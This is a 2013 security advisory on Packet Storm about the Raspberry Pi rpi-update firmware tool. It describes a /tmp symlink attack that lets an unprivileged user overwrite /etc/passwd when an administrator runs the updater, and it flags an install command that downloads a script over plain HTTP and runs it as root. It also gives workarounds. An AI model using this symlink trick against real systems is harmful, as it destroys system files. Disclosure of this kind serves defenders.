Exploit the possiblities

Raspberry Pi Firmware Updater File Clobber

Raspberry Pi Firmware Updater File Clobber
Posted Mar 4, 2013
Authored by Technion

Raspberry Pi firmware updater suffers from a /tmp/file clobber vulnerability and also fails to offer a secure means to update the system.

tags | exploit
MD5 | 4c1e5da08e778dd0b65bcc9f35a9322a

Raspberry Pi Firmware Updater File Clobber

Change Mirror Download
Raspberry Pi Firmware Updater Vulnerability

Application:
https://github.com/Hexxeh/rpi-update/

Version Tested:
Github source as of 10ad1e975a (10th Feb commit)

Vulnerability #1:
A malicious user can clobber any file due to insecure tmp file handling.

Example:

Any unprivileged user can create the following symlink, either from
a shell account, or by malicious web content such as PHP scripts.
pi@raspberrypi ~ $ ln -s /etc/passwd /tmp/updateScript.sh

Once in place, the symlink is awaiting the administrator to run an update:
pi@raspberrypi ~ $ sudo rpi-update
...
pi@raspberrypi ~ $ cat /etc/passwd
#!/bin/bash
if mv "./testfile.sh.tmp" "./testfile.sh"; then
rm -- "$0"
exec env UPDATE_SELF=0 /bin/bash "./testfile.sh" ""
else
echo " !!! Failed!"
fi

As of this point, the pi is quite unusable due to the corrupted password database.
Note that the attacker cannot customise the content, for example, to set
a UID0 account.

Vulnerability #2:
The installation recommends the following command:
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update

Although the selfupdate functionality utilises SSL to ensure the integrity of the download, the installation process uses a URL shortening service without SSL to download the bash script, which the user is then encouraged to run as the root user.

Fix and Vendor Response
A pull request detailing exploit #1 and including a simple patch was submitted February 6th. The patch has not yet been accepted.

Workaround
By running rpi-update with the self update feature disabled, the affected code is not executed. Example:
sudo UPDATE_SELF=0 rpi-update

If you would like to update the application manually, or perform an initial installation safely, use the following commands:
wget https://github.com/Hexxeh/rpi-update/raw/master/rpi-update
sudo cp rpi-update /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update

Note that applying the patch in my pull request will not be a complete solution, as it will be reverted after the first automatic update.

technion@lolware.net

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close